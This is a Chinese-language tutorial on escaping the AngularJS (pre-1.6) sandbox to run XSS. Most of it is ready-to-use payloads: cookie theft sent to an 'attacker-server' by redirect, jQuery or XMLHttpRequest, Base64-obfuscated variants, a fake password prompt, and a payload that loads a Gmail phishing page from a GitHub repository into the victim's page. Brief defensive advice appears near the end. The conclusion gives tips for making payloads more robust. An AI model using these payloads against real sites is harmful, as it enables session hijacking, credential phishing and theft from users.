AngularJS 沙箱逃逸技术详解
前言
AngularJS(Angular)是一个著名的基于JavaScript的开源Web框架,用于前端编程,主要用于开发单页面应用程序(SPA)。在Angular 1.6版本之前,框架包含了一个沙箱机制,旨在防止XSS攻击。然而,由于安全研究人员发现了太多绕过方式,从Angular 1.6开始,沙箱已被移除。
本文档将详细介绍AngularJS沙箱逃逸技术,包括验证XSS、执行沙箱逃逸、窃取Cookie以及修改页面内容等技术。
验证XSS
在AngularJS(版本号小于1.6)中,典型的XSS验证payload如下:
{{7*7}}
如果payload成功执行,页面会显示"49"。
沙箱逃逸技术
基本逃逸方法
对于AngularJS版本v1.4.0 - v1.4.9,可以使用以下payload进行沙箱逃逸:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
这个payload的工作原理是:
- 修改String.prototype.charAt方法为Array.prototype.join
- 利用$eval执行任意JavaScript代码
- 最终执行alert(1)函数
执行复杂操作
我们可以替换alert(1)为其他JavaScript函数,例如创建一个密码提示:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };prompt("Please enter your password:");//');}}
Cookie窃取技术
基本Cookie窃取
通过document.cookie获取用户Cookie并发送到攻击者服务器:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };document.location="http://attacker-server/?"+document.cookie//');}}
这种方法会重定向用户浏览器到攻击者服务器,可能引起用户警觉。
使用AJAX窃取Cookie
更隐蔽的方法是使用AJAX发送Cookie:
使用jQuery:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };$.get("http://attacker-server/?"+document.cookie)//');}}
使用纯JavaScript:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://attacker-server/?"+document.cookie, true);xhttp.send();//');}}
Base64编码payload
对于复杂JavaScript代码,可以使用Base64编码:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob("dmFyIHhodHRwPW5ldyBYTUxIdHRwUmVxdWVzdCgpO3hodHRwLm9wZW4oIkdFVCIsICJodHRwOi8vYXR0YWNrZXItc2VydmVyLz8iK2RvY3VtZW50LmNvb2tpZSwgdHJ1ZSk7IHhodHRwLnNlbmQoKTs="))//');}}
解码后的内容为:
var xhttp=new XMLHttpRequest();
xhttp.open("GET", "http://attacker-server/?"+document.cookie, true);
xhttp.send();
页面修改技术
基本页面修改
可以将页面修改为钓鱼页面,例如模仿电子邮件服务登录页面。以下是实现这一功能的JavaScript代码:
function change(html){
document.body.innerHTML=html;
};
function load(url, callback) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
callback(xhr.response);
}
};
xhr.open('GET', url, true);
xhr.send('');
};
load("https://raw.githubusercontent.com/ashanahw/Gmail_Phishing/master/index.php", change);
Base64编码实现
将上述代码Base64编码后嵌入Angular沙箱逃逸payload:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob("ZnVuY3Rpb24gY2hhbmdlKGh0bWwpew0KCWRvY3VtZW50LmJvZHkuaW5uZXJIVE1MPWh0bWw7DQp9Ow0KZnVuY3Rpb24gbG9hZCh1cmwsIGNhbGxiYWNrKSB7DQoJdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCXhoci5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHsNCgkJaWYgKHhoci5yZWFkeVN0YXRlID09PSA0KSB7DQoJCQljYWxsYmFjayh4aHIucmVzcG9uc2UpOw0KCQl9DQoJfTsgDQoJeGhyLm9wZW4oJ0dFVCcsIHVybCwgdHJ1ZSk7DQoJeGhyLnNlbmQoJycpOw0KfTsgDQpsb2FkKCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYXNoYW5haHcvR21haWxfUGhpc2hpbmcvbWFzdGVyL2luZGV4LnBocCIsIGNoYW5nZSk7"))//');}}
防御措施
-
升级AngularJS版本:从Angular 1.6开始,沙箱已被移除,建议升级到最新版本。
-
输入过滤:始终过滤用户输入,不要依赖框架的安全机制。
-
安全标头:使用适当的安全标头(如Content Security Policy)可以提供额外保护。
-
HTTPOnly标志:为Cookie设置HTTPOnly标志,防止JavaScript访问。
结论
在实际应用中,建议使用纯JavaScript而非依赖jQuery等库来实现沙箱逃逸,因为:
- 不依赖特定库的版本
- 兼容性更好
- 减少因库更新导致payload失效的风险
AngularJS沙箱逃逸技术展示了即使有安全机制,也可能被绕过。最重要的是实施多层防御策略,而不仅仅依赖单一安全措施。